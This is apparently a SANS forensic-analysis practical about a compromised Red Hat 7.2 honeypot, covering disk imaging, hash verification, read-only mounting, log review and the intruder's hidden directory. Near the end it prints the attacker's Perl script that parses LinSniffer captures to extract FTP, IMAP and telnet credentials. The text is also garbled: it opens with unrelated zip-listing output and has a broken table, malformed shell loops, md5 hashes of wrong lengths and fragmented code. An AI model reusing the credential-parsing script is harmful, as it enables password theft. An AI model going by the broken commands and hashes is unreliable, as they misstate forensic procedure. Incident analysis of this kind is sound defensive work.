length of filename: 19 characters
length of extra field: 13 bytes
length of file comment: 0 characters
disk number on which file begins: disk 1
apparent file type: binary
Unix file attributes (100400 octal): -r--------
MS-DOS file attributes (01 hex): read-only
The central-directory extra field contains:
- A subfield with ID 0x5455 (universal time) and 5 data bytes.
  The local extra field has UTC/GMT modification/access times.
- A subfield with ID 0x7855 (Unix UID/GID) and 0 data bytes.

There is no file comment.

Central directory entry #3:
---------------------------
prog.md5

offset of local header from start of archive: 459135 (0007017Fh) bytes
file system or operating system of origin: Unix
version of encoding software: 2.3
minimum file system compatibility required: MS-DOS, OS/2 or NT
minimum software version required to extract: 1.0
compression method: none (stored)
file security status: not encrypted
extended local header: no
file last modified on (DOS date/time): 2003 Jul 16 00:14:38
file last modified on (UT extra field modtime): 2003 Jul 15 23:14:38 local
file last modified on (UT extra field modtime): 2003 Jul 16 06:14:38 UTC
32-bit CRC value (hex): 804cc662
compressed size: 39 bytes
uncompressed size: 39 bytes
length of filename: 8 characters
length of extra field: 13 bytes
length of file comment: 0 characters
disk number on which file begins: disk 1
apparent file type: text
Unix file attributes (100644 octal): -rw-r---r--
MS-DOS file attributes (00 hex): none

The central-directory extra field contains:
- A subfield with ID 0x5455 (universal time) and 5 data bytes.
  The local extra field has UTC/GMT modification/access times.
- A subfield with ID 0x7855 (Unix UID/GID) and 0 data bytes.

There is no file comment.

Appendix B. Verification of restricted file-system mount options

We will verify that our new restricted loopback file system is behaving according to the restrictions that we used in the mount command. Specifically, we will ensure that we will neither mistakenly access nor mistakenly execute the malicious code.
Here we use the Linux touch command to create a file we’ll use to test the access time limitation.

Fri Nov 28 18:04:41 MST 2003

Here we use the stat command to see the last access time of the file, in this case: 2003-11-28 18:04:49.

Here we use the stat command to see the last access time of the file, in this case: 2003-11-28 18:04:49.

Fri Nov 28 18:08:49 MST 2003

Fri Nov 28 18:09:23 MST 2003

Here we see that the Access time: Access: 2003-11-28 18:04:49 was not changed by doing the previous directory listing.

Here we verify that we successfully modified the execution test file to be executable. The first ‘x’ in the string ‘-rwxr-xr-x’ verifies this for us.

Here we write a small executable script for execution testing purposes.

Here we enable the executable privilege for our execution test file.

Here we verify that we successfully modified the execution test file to be executable. The first ‘x’ in the string ‘-rwxr-xr-x’ verifies this for us.

Here we see that upon
./executable_test_file
-bash: ./executable_test_file: Permission denied

attempts to execute our executable test file, the operating system refuses and issues a 'permission denied' error.

References

1 Bmap forensic tool, URL: http://build.lnx-bbc.org/packages/fs/bmap.html

2 Executable and Linkable Format, URL: http://www.skyfree.org/linux/references/ELF_Format.pdf

3 Linux Standard Base Website, URL: http://www.linuxbase.org/modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=General+Info#18


5 Strace Homepage, URL: http://www.liacs.nl/~wichert/strace/


Part 2 – Option 1: Perform Forensic Analysis on a system: Investigation of a Compromised RedHat 7.2 Virtual Honeypot

Synopsis of Case Facts

A VMware-based virtual Redhat 7.2 honeypot was built using configuration outlined in the second generation honeypot standard and was placed upon the Internet, to be compromised less than 2 hours later. A layer 2 Ethernet bridging firewall was used to route traffic transparently from the Internet to the Honeypot in such a way that attackers would be unable to detect the network control and monitoring configuration. Full packet capture was enabled on bridging interface of the firewall.

The honeypot was placed on the Internet via cable modem on Saturday, November 21st at approximately 2:47 AM. The system was compromised at approximately 4:30 AM when the attacker used an exploit to compromise a vulnerability in the FTP daemon. The compromise was not identified until approximately 11:00 am.

Upon discovery, the honeypot was shut down by powering off the virtual device via VMWare.

By going with the second generation solution, we were able to identify interesting behavior taken by the attacker in an attempt to monitor neighboring systems. Our analysis will detail this activity.

Describe the system to be analyzed

The honeypot consisted of a virtual Redhat 7.2 build on a Windows XP based Dell XPS 2.8 Ghz Pentium 4 VMWare Host. Internet connectivity was controlled by a Redhat 8.0 based Dell Optiplex system with a kernel re-compiled for layer 2 firewalled bridging. This system was installed with 3 network interface cards (NIC’s), 2 of which were dedicated to the bridge, the remainder being used for local LAN connectivity. Scripts were developed to monitor traffic traversing the bridge with both TCPdump and Snort 2.0. TCPdump was configured to log all traffic crossing the bridge, while Snort was configured to monitor in network intrusion detection system (NIDS) mode, using current signature files current as of November 20th, 2003.
**Hardware Description**

**Honeypot VMware Host Description**

**Case Description:** Dell XPS computer  
**CPU:** 2.8 Ghz Pentium 4  
**Memory:** 1024 Mb  
**Disk Space:** 200Mb Harddrive, 30 Mb Harddrive  
**Peripherals:** CDRW drive, 3.5" floppy drive  
**Network:** 1 100mb network interface card, 1 Wireless 802.11b wireless card.  
**Keyboard:** USB Keyboard  
**Mouse:** USB Mouse  

**Operating System/Software Description:** Microsoft Windows XP Service Pack 1, VMWARE 4.0 Workstation  
**File-system:** NTFS  

**Physical Description:** The Dell XPS system is standard blue with a silver front panel finish, the serial number is: 7454-U-23454-A. It stands 26 inches high, is 9 inches wide, and 25 inches deep. It has 2 doors on the front. The first door covers the cdrom drive and floppy bays. The second, smaller door, covers a headphone port, as well as 2 USB ports and 1 fire-wire port.

**Honeypot VMware Guest System Description**

**Memory:** 256 MB  
**Hard Disk:** 4.0 Gb SCSI Emulated  
**CD-ROM:** (Set to Autodetect on Host)  
**Floppy Drive:** Using drive A: (Set to Autodetect on Host)  
**Network:** 1 Network Interface card, bridged to bridging firewall via cross-over cable.
Operating System Description: Redhat 7.2 Linux, default server build configuration, Filesystem: Ext3fs.
Physical Description: The system was created virtually in VMWare 4.0 Workstation for Windows.

Image Media

Image Capture and Transfer

Image capture was performed by powering on the virtual device, and interacting with its virtual BIOS to boot to CDROM. A Knoppix 3.2 disk was used to boot the virtual honeypot. The VMWare host network adapter line used to bridge to the layer2 bridging firewall monitor system was then connected to a local analysis network so that the partition images could be transferred to the analysis system. We must first calculate a md5sum hash as a future signature to verify authenticity to the original evidence. We then transfer the partition images to the remote analysis server for media analysis.

```
root@0\[root\]# fdisk -l /dev/sda
Disk /dev/sda: 4294 MB, 4294967296 bytes
255 heads, 63 sectors/track, 522 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
/dev/sda1 * 1 6 48163+  83 Linux
/dev/sda2 7 286 2249100  83 Linux
/dev/sda3 287 388 819315  83 Linux
/dev/sda4 389 522 1076355  83 Linux
/dev/sda5 389 437 393561  83 Linux
/dev/sda6 438 489 417658+  82 Linux swap
/dev/sda7 490 522 265041  83 Linux
```

We use the fdisk command to display the partition table on the physical disk /dev/sda. The contents of the partition table show us the 7 partitions of the virtual compromised honeypot hard-drive. We will copy the partitions used for the /, /boot, /home, /usr, /var partitions to the analysis system.

```
root@0\[root\]# for n in 1 2 3 5 6 7
  do
    md5sum /dev/sda{n} >> /tmp/md5sums
do
```

Here we invoke a for loop to iterate across all of our partitions, calculating the md5sums of each, storing them in the /tmp/md5sums file.

```
root@0\[root\]# for n in 1 2 3 5 6 7
  do
    dd if=/dev/sda{n} | gzip | ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_${n}.dd.gz
echo $n
do
```

Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command.

```
root@GCFA's password: (typed, not displayed)
96326+0 records in
96326+0 records out
4918912 bytes transferred in 12.649945 seconds (3898745 bytes/sec)
3023+1 records in
3023+1 records out
1
/dev/sda2: Success
```

Having not established keys and trust relationships due to a low number of partitions, we explicitly type the
<table>
<thead>
<tr>
<th>records in</th>
<th>records out</th>
<th>root@GCFA's password: (typed, not displayed)</th>
<th>error processing /dev/sda6: failed in buffer_read(fd): mdfile: Input/output error</th>
<th>root@GCFA's password: (typed, not displayed)</th>
<th>root@GCFA's password: (typed, not displayed)</th>
<th>root@GCFA's password: (typed, not displayed)</th>
</tr>
</thead>
<tbody>
<tr>
<td>813073+1</td>
<td>1638630+0</td>
<td>1638630+0 records in</td>
<td></td>
<td>787122+0 records in</td>
<td>530082+0 records in</td>
<td></td>
</tr>
<tr>
<td>813073+1</td>
<td>1638630+0</td>
<td>838978560 bytes transferred in 33.598270 seconds (24970886 bytes/sec)</td>
<td>835312+0 records in</td>
<td>787122+0 records out</td>
<td>530082+0 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>1641+1 records in</td>
<td>835312+0 records out</td>
<td>403006464 bytes transferred in 62.256492 seconds (6473324 bytes/sec)</td>
<td>403006464 bytes transferred in 62.256492 seconds (6473324 bytes/sec)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records in</td>
<td>427679744 bytes transferred in 29.035616 seconds (14729487 bytes/sec)</td>
<td>1641+1 records in</td>
<td>1641+1 records in</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>1641+1 records out</td>
<td>1641+1 records out</td>
<td>1641+1 records out</td>
<td>1641+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1641+1</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td>50228+1 records out</td>
<td></td>
</tr>
</tbody>
</table>

### Image Transfer Integrity Verification

Transferring our attention to the media analysis system, we again calculate hash signatures of the transferred files, comparing them to the hashes originally calculated from the virtual honeypot partitions. The hashes match, showing preservation of image integrity.

```bash
(root@GCFA media_image)# for n in 1 2 3 5 6 7
  > do
  >  zcat partition_${n}.dd.gz | md5sum
  > done >> md5_verification
```

We copy the original Knoppix calculated md5sum calculations to the analysis server for later usage.

We first would like to ensure that the files delivered over the network were transferred without error. We again verify the integrity of the partition images by uncompressing the transferred compressed partition files with zcat, to be hashed by the md5sum program, writing the results to the md5_verification file for later reference.
Media Analysis

Analysis Environment Configuration

The evidence from the compromised honey-pot is in an unknown state. The media analysis process must include precautionary measures ensuring that code and data in an unknown state is neither modified nor allowed to execute. We can use options built into the Unix mount program to ensure that the risks around dealing with potentially malicious code are mitigated when we mount the partition images.

The media analysis process begins by setting up the partitions in a way that they can be safely mounted for file-system inspection. To prove chain of custody, we audit the partition contents to verify the integrity of the partitions since media imaging.

```bash
[root@GCFA media_analysis]# for n in 1 2 3 5 6 7
    do
gunzip -c ./partition_${n}.dd.gz > ./partition_${n}.dd
done
```

We use the gunzip program to uncompress the transferred files.

```bash
[root@GCFA media_analysis]# for n in 1 2 3 5 7
    do
    md5sum partition_${n}.dd
    done | tee orig_md5s
```

Here we again calculate the md5sums of the partitions to compare them with the original hash signatures. We again show preservation of image integrity.

```bash
[root@GCFA media_analysis]# for n in 1 2 3 5 7; do
    file partition_${n}.dd
    partition_1.dd: Linux rev 1.0 ext3 filesystem data (needs journal recovery)
    partition_2.dd: Linux rev 1.0 ext3 filesystem data (needs journal recovery)
    partition_3.dd: Linux rev 1.0 ext3 filesystem data (needs journal recovery)
    partition_5.dd: Linux rev 1.0 ext3 filesystem data (needs journal recovery)
    partition_7.dd: Linux rev 1.0 ext3 filesystem data (needs journal recovery)
    done | tee fixed_md5s
```

We use the file command to inspect the contents of our raw ext3 fs disk images. As expected, the partitions each have ext3 filesystems. Due to the nature of the abrupt power-off, the ext3 file-system will need journal reconciliations prior to mount.
Based on the data returned from the `file` command above, we see that each of the file-systems on the partition images is listed as needing journal recovery. This is to be expected, since the power-off containment would have left the file-systems in an unknown state. As our honeypot was built with ext3fs file-system, the linux standard filesystem with journaling support, a journal exists of uncommitted changes that must be reconciled into the filesystem prior to read-only mount. The `e2fsck` utility will be used to reconcile the journal logs with the file-system as shown below:

```
[root@GCFA media_analysis]# for n in 1 2 3 5 7; do e2fsck -v
partition_$n.dd; done | tee e2fsck_out
```

Here we use the `e2fsck` command to reconcile the journals of every partition.

Although this changes the bitwise organization of bits within the partition image files, the journal reconciliation is really just an application of uncommitted journal file changes to the greater file-system structure, where meta-data and file-system data remain consistent.

As the `e2fsck` journal reconciliation modified the content of the partition images, we must immediately generate new md5sum hashes to capture and print an integrity snapshot of the post-journal-reconciliation evidence. We first utilize the `file` command to determine that the partition images appear to hold mountable ext3 file-systems.

Check file and md5sum data.

```
[root@GCFA media_analysis]# for n in 1 2 3 5 7; do file
partition_$n.dd; done | tee fixed_md5s
```

Here we calculate the run the `file` command again to inspect the contents of the partition image files. We see that the file systems now do not have outstanding journal reconciliation requirements.

```
[5515ab0f855b0f97eb773eaa28cf9896] partition_1.dd
[1de502a3df22b71cf70d0e2ca31d801f7a] partition_2.dd
[af8818c0003061d9660e667f1e70b787] partition_3.dd
[67f8f5267e18e96a96410c5a9960d4a] partition_5.dd
[12642703248230d107b74ef1b0bec] partition_7.dd
```

We re-calculate the md5sums for future reference on the reconciliated file-systems.

We next wish to mount partitions in a way that will allow for a controlled and safe analysis. The `mount` command is used below within a Unix shell script to mount the partition images on pre-defined directories with the following options:

- **loop**: the loop option enables usage of mounting on a regular file, such as the partition image files.
- **ro**: stands for read-only, ensures that data can only be read on the mounted file-systems, and thereby protecting them from overwriting of data.
• **noexec**: This option ensures that the execute permissions within the filesystem files are over-ridden and prevented for the duration of mount.
• **noatime**: This option acts as a sort of read-only option for the file-system meta data access time data. It allows us to examine the file-system while not having perturbed any access activity evidence that the attacker may have left.

```bash
[root@GCFA media_analysis]# cat <<EOF > mount_all
#!/bin/bash
mount -t ext3 -o loop,ro,noexec,noatime partition_1.dd
/mnt/drive/GCFA/media_analysis/gcfa/boot/
mount -t ext3 -o loop,ro,noexec,noatime partition_2.dd
/mnt/drive/GCFA/media_analysis/gcfa/usr/
mount -t ext3 -o loop,ro,noexec,noatime partition_3.dd
/mnt/drive/GCFA/media_analysis/gcfa/home/
mount -t ext3 -o loop,ro,noexec,noatime partition_5.dd
/mnt/drive/GCFA/media_analysis/gcfa/root/
mount -t ext3 -o loop,ro,noexec,noatime partition_7.dd
/mnt/drive/GCFA/media_analysis/gcfa/var/
EOF

[root@GCFA media_analysis]# chmod u+x mount_all; ./mount_all

```

We use the cat command to write a script to mount command to mount the images as loopback devices, in read-only mode, with no updates to access times, and no execution privileges. We set the permissions such that we can execute it as a bash script. We then execute the script, mounting the file-systems.

```bash
[root@GCFA media_analysis]# mount|grep gcfa
/mnt/drive/GCFA/media_analysis/partition_1.dd on /mnt/drive/GCFA/media_analysis/gcfa/boot type ext3 (ro,noexec,noatime,loop=/dev/loop1)
/mnt/drive/GCFA/media_analysis/partition_1.dd on /mnt/drive/GCFA/media_analysis/gcfa/boot type ext3 (ro,noexec,noatime,loop=/dev/loop3)
/mnt/drive/GCFA/media_analysis/partition_2.dd on /mnt/drive/GCFA/media_analysis/gcfa/usr type ext3 (ro,noexec,noatime,loop=/dev/loop4)
/mnt/drive/GCFA/media_analysis/partition_3.dd on /mnt/drive/GCFA/media_analysis/gcfa/home type ext3 (ro,noexec,noatime,loop=/dev/loop5)
/mnt/drive/GCFA/media_analysis/partition_5.dd on /mnt/drive/GCFA/media_analysis/gcfa/root type ext3 (ro,noexec,noatime,loop=/dev/loop6)
/mnt/drive/GCFA/media_analysis/partition_7.dd on /mnt/drive/GCFA/media_analysis/gcfa/var type ext3 (ro,noexec,noatime,loop=/dev/loop7)
```

After mounting, we call the mount command again, this time with no options or arguments, causing it to merely list mounted file-systems. Of these mounted file-systems, we use the `grep` (grep stands for **G**et **R**egular **E**xpression and **P**rint) command to filter for only the filesystems including the text string gcfa within the mount points, which are exclusive to our current work.

At this point, we have successfully mounted the `/`, `/usr`, `/var`, `/home`, and `/boot` directories for a safe and controlled investigation of unknown code.

**File-System Analysis**

Our file-system analysis will consist of the following steps:
- Log file inspection
- Hidden file search
- Setuid, Setgid files search
- User log evidence analysis
- System configuration file analysis
- Hidden directory analysis
- Chkrootkit analysis

These steps will confirm that an intruder has compromised the system and establish a baseline for further analysis.

**Log file Evidence**

Our first look into the honeypot will be to investigate the log files. We cannot know for sure that the log files have not been tampered with, so we must remember to consider this if future discoveries conflict with the evidence present here:

<table>
<thead>
<tr>
<th>View recent modifications to /var/log log directory</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Log file directory list" /></td>
</tr>
</tbody>
</table>

We next investigate the contents of the `/var/log/messages` log-file. This file serves as the default location for the Linux syslog utility as configured on the Redhat 7.2 Linux distribution to log system messages. Upon inspecting the `/var/log/messages`, we immediately notice that an anonymous FTP login was logged at 11/22/03 between 4:02:02 and 4:39:39 am. The time of the login was specified as 11:24:42 am, which suspiciously falls outside of the adjacent log entries. This strange occurrence will mark our first observation of compromise and evidence tampering. Immediately after this...
the attacker is observed to have made an account on the system, and to have used that account as a means for system access.

The above FTP session may represent the time of original compromise.

Moving down in the /var/log/messages log file, we see that the system is talking to IP (Internet Protocol) address 81.18.87.185 via SSH by the ‘daniel’ user. As no such account existed upon creation of the honeypot, this marks our first obvious evidence of system compromise.

Continuing through /var/log/messages, we see evidence of a sniffer. The kernel notifications of “eth0: Promiscuous mode enabled” show that the network interface card was placed in promiscuous listening mode, which is the first task commonly performed by sniffers. Strangely, we then see the named daemon responding to Ethernet aliases being added for every IP on what appears to be the attackers interpretation of our ISP networking configuration. The attacker apparently has not sufficiently reflected upon the netmask of the honeypot, and has attempted to configure the network interface card in a way that may possibly facilitate arp-cache poisoning man-in-the-middle attacks on what he perceives to be local connected subnet.

/var/log/secure

Jason_B_Anderson_GCFA
Next we look to the /var/log/secure file, which is used by Redhat Linux to store security related information. Again the attacker has failed to effectively cover their tracks. The compromised FTP sessions spawned by the xinetd daemon are listed here. Evidence of the FTP exploit can be observed in this log as shown below. The attacker then added a user account for himself, using the daniel account name and logs in from IP 81.18.87.185. Some time passes before what appears to be a SSH vulnerability scan from 218.186.160.70 is repeated a number of times at around 7:09 am.

```
Nov 22 04:24:39 ipx-y-z-144 xinetd[905]: START: ftp pid=1590 from=218.3.240.10
Nov 22 04:24:40 ipx-y-z-144 xinetd[905]: START: ftp pid=1591 from=218.3.240.10
Nov 22 04:39:39 ipx-y-z-144 xinetd[905]: EXIT: ftp pid=1590 duration=800(sec)
Nov 22 04:46:04 ipx-y-z-144 adduser[1614]: new user: name=daniel, uid=501, gid=501, home=/home/daniel, shell=/bin/bash
Nov 22 04:46:15 ipx-y-z-144 sshd[1613]: Accepted password for daniel from 81.18.87.185 port 3208
Nov 22 04:47:57 ipx-y-z-144 xinetd[905]: EXIT: ftp pid=1591 duration=1397(sec)
Nov 22 07:09:21 ipx-y-z-144 sshd[2392]: scanned from 218.186.160.70 with SSH-1.0-SSH_Version_Mapper. Don't panic.
Nov 22 07:09:22 ipx-y-z-144 sshd[2387]: Did not receive identification string from 218.186.160.70.
Nov 22 07:09:22 ipx-y-z-144 sshd[2393]: scanned from 218.186.160.70 with SSH-1.0-SSH_Version_Mapper. Don't panic.
Nov 22 07:09:22 ipx-y-z-144 sshd[2388]: Did not receive identification string from
-Nov 22 07:09:31 ipx-y-z-144 sshd[2409]: Did not receive identification string from 218.186.160.70.
```

/var/log/maillog Analysis

We next investigate the maillog log to determine whether any mail activity was performed or attempted by the attacker during the compromise. The following excerpt from the maillog was identified as relevant to the compromise.

```
Nov 22 04:02:01 ipx-y-z-144 sendmail[1392]: hAMB21f01392: from=root, size=362, class=0, nrcpts=1, msgid=<2003112211102.hAMB21f01392@ip-y-z-144.ph.ph.cox.net>, relay=root@localhost
Nov 22 04:02:02 ipx-y-z-144 sendmail[1396]: hAMB21f01392: to=root, ctladdr=root (0/0), delay=00:00:01, xdelay=00:00:01, mailer-local, pri=30362, dns=2.0.0, stat=Sent
Nov 22 04:47:09 ipx-y-z-144 sendmail[2150]: hAMB17e02150: from=root, size=2689, class=0, nrcpts=1, msgid=<200311221147.hAMB17e02150@ip-y-z-144.ph.ph.cox.net>, relay=root@localhost
Nov 22 08:49:40 ipx-y-z-144 sendmail[2493]: hAMB17e02150: hAMFlmL02493: sender notify: Warning: could not send message for past 4 hours
Nov 22 08:49:40 ipx-y-z-144 sendmail[2493]: hAMFlmL02493: to=root, delay=00:00:00, xdelay=00:00:00, mailer-local, pri=32678, dns=2.0.0, stat=Sent
```

As we can see, it appears that the attacker used the honeypot's sendmail application, which is the standard email utility on Redhat Linux 7.2, to create messages for email. It also seems that the message was delayed, probably due to mis-configuration issues in the mail client setup. As a result, the messages should still exist within the default location in Linux for queue’ed e-mail messages, which is the /var/spool/mqueue directory. This message will be examined later in the media analysis effort, as it should include an recipient email address that may add clues to who the attacker may have been.

System File Modifications
We saw from above that the attacker made an account with username ‘daniel.’ This being the case, we should expect to see modifications to the /etcpasswd, /etcshadow, /etcgroup, and /etcgshadow files, as these are the files used by Linux to store user information.

As expected, we see the following additions appended to each of the aforementioned user configurations files. The nature of their entry suggests that the attacker likely used a Linux tool specifically designed for adding and modifying users, such as ‘adduser’ instead of directly manipulating the files. The attacker would have used minimal options with the adduser command, as some of the information fields in the /etcpasswd entry remain blank. This could mean that the attacker wanted to provide minimal information in the case of a forensic audit, but probably just means that the attacker didn’t know or simply didn’t care enough to fully populate the user information while creating the Daniel account.

/etc/passwd changes:

```
…
daniel:x:501:501::/home/daniel:/bin/bash
…
```

/etc/shadow changes:

```
…
daniel:$1$fd4pQZhJ$xowKn9AAKH9Yf.DjAilige..12378:0:99999:7:::
…
```

/etc/group changes:

```
…
daniel:x:501:
…
```

/etc/gshadow changes:

```
…
daniel:!::
…
```

We next examine the /etcftpusers file to determine whether or not the attacker made any modifications. It appears that the attacker has appended 2 entries to the end of the /etcftpusers file, namely: anonymous and ftp. Adding entries to this file actually prevents these users from logging into the system via FTP. By appending the two accounts (anonymous and ftp) to the end of the file, the attacker has hardened the system to be invulnerable to the same FTP exploit as they used to gain access themselves.

/etcftpusers

```
# The ftpusers file is deprecated. Use deny-uid/deny-gid in ftpaccess.
root
bin
daemon
adm
```

Jason_B_Anderson_GCFA
Page 74 of 111

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Setuid/Setgid files
Setuid/Setgid programs are those that have special privileges allowing them to change the level of permissions available during program run-time within the Linux (and Unix) environment. This program executes with the permission of the file owner. Thus, setuid/setgid programs that are owned by the root (the Unix system administration account), or exist within root’s group present a high security risk. If a regular user is able to manipulate such a program to execute arbitrary code, it would be executed within the context of the programs owner. If this owner is root, the unprivileged user executes code as the root user. We have decided to search for any new and unusual setuid/setgid programs that may have been planted by the attacker as a method of possibly escalating privileges via the Daniel account created as detected in previous analysis.

A search for the setuid/setgid programs was done by using the file command, but no unusual files were identified in the search.

Hidden Files
Attackers often look to install software within the file-system for a multitude of reasons including the desire to sniff passwords off of the network as a means to compromise more systems, as a means of storing illegal files, or for creating a backdoor to ensure future system access. One way of concealing directories in Unix is to prepend a file or directory name with a ‘.’ (dot), thereby creating what is known as a hidden file. By prepending a directory name with a dot, a normal file listing command such as ‘ls’ will not show these hidden directories. Attackers often create hidden directories within directories that are not typically visited by users. We can use the find command, as seen below, to specifically search and list any hidden directories within the file-systems. We can then audit the results to identify hidden directories that appear to be illegitimate.

```
[root@GCFA gcfa]# find . -name ".*" -exec ls -al {} \
   drwxr-xr-x  3 root root 1024 Nov 22 04:52 ...
   drwxr-xr-x  2 root root 1024 Nov 22 04:25 ./root/.ncftp
```

The above search has returned a very interesting result. The /etc/nmh/… file is another clear sign of compromise activity. Using the 3 dots as a name of the directory, the attacker attempts to conceal their files within a directory that may appear to be the same.
as the '..' directory, which is a link to the next higher directory in every Linux/Unix filesystem implementation. Unfortunately for the attacker, we fully understand the difference, and know the '..' trick to be very common amongst computer attackers. This is a clear and indisputable sign of compromise activity. Another hidden directory that appears to be related to the compromise is /root/.ncftp. ncftp is a FTP client utility that is known to create an .ncftp configuration directory within the executing users home directory. Therefore, it can be deduced that the attacker operated the ncftp command as the root user which demonstrates that the attacker gained unlimited access to the system.

Attacker Created Hidden Files and Directories

Having identified what is clearly an attacker created directory (the /etc/nmh/… directory), we can explore the contents of it using the Unix ls command. The analysis below shows us that the … directory was created at 4:52 am on November 22nd, 2003. Due to the dates of the files within this directory, it appears that the attacker used this directory to store rootkit files. A thorough time-line analysis of this activity will be presented in the next section.

Investigating the files contained within the hidden directory shows us that the read, write, and tcp.log directories may be related. Using the file command, we can see that the read command is actually a perl script, which means that we can view the entire contents of the file and understand its purpose. The write program appears to be an executable, but is dynamically linked, allowing us to understand it’s library dependencies. The tcp.log file is empty.

Jason_B_Anderson_GCFA
By examining the contents of the read Perl script, we can see that it appears to be a parser for LinSniffer, which is a network traffic collection program. Examining the script shows us that it conveniently parses usernames and passwords for IMAP, telnet, and ftp transactions. This leads us to believe that the tcp.log file may exist to collect LinSniffer text data. The read script is examined below. Password collection/parsing logic is listed below in red text.

```
[root@GCFA ...]# cat read
#!/usr/bin/perl
# Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla <medulla@infosoc.com>
$| = 1;
$perl = "/usr/bin/perl";
$argc = @ARGV;
&PrintUsage if ( $argc < 1 );
# I know, getopt(), but I don't wanna use any modules here..
if ( $argc == 1 )
{
    if ( $ARGV[0] eq "-z" ) {
        &ParseIt;
    } else {
        $file = $ARGV[0];
        &NoSuchFile unless ( -f $file );
        &PrintHeader;
        if ( $file =~ /\..gz$/ ) {
            print `zcat $file | $perl $0 -z | sort -u`;    
        } else {
            print `cat $file | $perl $0 -z | sort -u`;    
        }
        &PrintFooter;
    }
} elsif ( $argc == 2 )
{
    if ( $ARGV[0] eq "-z" & $ARGV[1] eq "-d" )
    {
        $dontGuess = 1;
        &ParseIt;
    } elsif ( $ARGV[0] eq "-d" )
    {
        $file = $ARGV[1];
        &NoSuchFile unless ( -f $file );
        &PrintHeader;
        if ( $file =~ /\..gz$/ ) {
            print `zcat $file | $perl $0 -z -d | sort -u`;    
        } else {
            print `cat $file | $perl $0 -z -d | sort -u`;    
        }
        &PrintFooter;
    } elsif ( $ARGV[0] eq "-z" )
    {
        &ParseIt;
    } else { &PrintUsage; }
}
```

# Handle "unknown" servies
sub DoOthers {
    $data = $line;
    while ( &ReadLine && $line !~ /^-{5}$/ ) ($data .= $line);
    # Remove the nav-key stuff.
    $data =~ s/OBOB//mg;
    $data =~ s/AAAH//mg;
    $data =~ s/OAOA//mg;
    $data =~ s/\[A]/A//mg;  #]
    $data =~ s/\[B]/B//mg;  #]
    # Replace the newline chars with :
    $data =~ s/\n//mg;
    chop($data);
    print $port . " ". " x (5 - length($port));
    print $host . " ". " x (27 - length($host));
    print $data . "\n";
}

sub DoFaP {

}
# Read in the next line if its a AUTH line, exit if ReadLine fails

if ( $line =~ /^AUTH/ ) {
    exit() unless &ReadLine;
}

# Set the user variable. Return if not found.
return(0) unless ( ($user) = $line =~ /USER \ (.+)/ );
return(0) if ($user eq "ftp" || $user eq "anonymous");

# Read in another line.
&ReadLine;

# Get the password, return if its not found
return(0) unless ( ($pass) = $line =~ /PASS \ (.+)/ );

&PrintIt;

# This one handle IMAPs (port 143)
sub DoIMAP {
    return(0) unless ( ($user, $pass) = $line =~ /LOGIN \ (.+)/ );
    &PrintIt;
}

# This one handle the telnets (port 23)
sub DoTelnet {
    my(@sep) = ( "VT100!", "VT100", "vt100!", "vt100", "VT220!", "VT220", "VT220", "vt220!", "vt220", "\$ANSI\"!", "ANSI!", "ANSI", "UNKNOWN!", "UNKNOWN", "CONSOLE!", "CONSOLE", "\$!", "!");

    for ( $i=0; $sep[$i]; $i++ ) {
        if ( ($user) = $line =~ /$sep[$i](.+)/ ) {
            exit() unless &ReadLine;

            # The line is one of linsniffs "separator" lines
            return(0) if ( $line =~ m/^ \-{5}/ );
            chop($line);

            # Right now, we just except it to be the passwd
            # but in future versions, we'll check if it looks much like
            # the login, and if it does, we'll take the next one instead.
            $pass = $line;

            &PrintIt;
        }
    }
}

sub PrintHeader {
    print "-" x 70 . "\n";
    print `date`; 
    print "-" x 67 . "EOF\n";
}

sub PrintFooter {
    print "-" x 70 . "\n";
    print `date`; 
    print "-" x 67 . "\n";
}

sub NoSuchFile
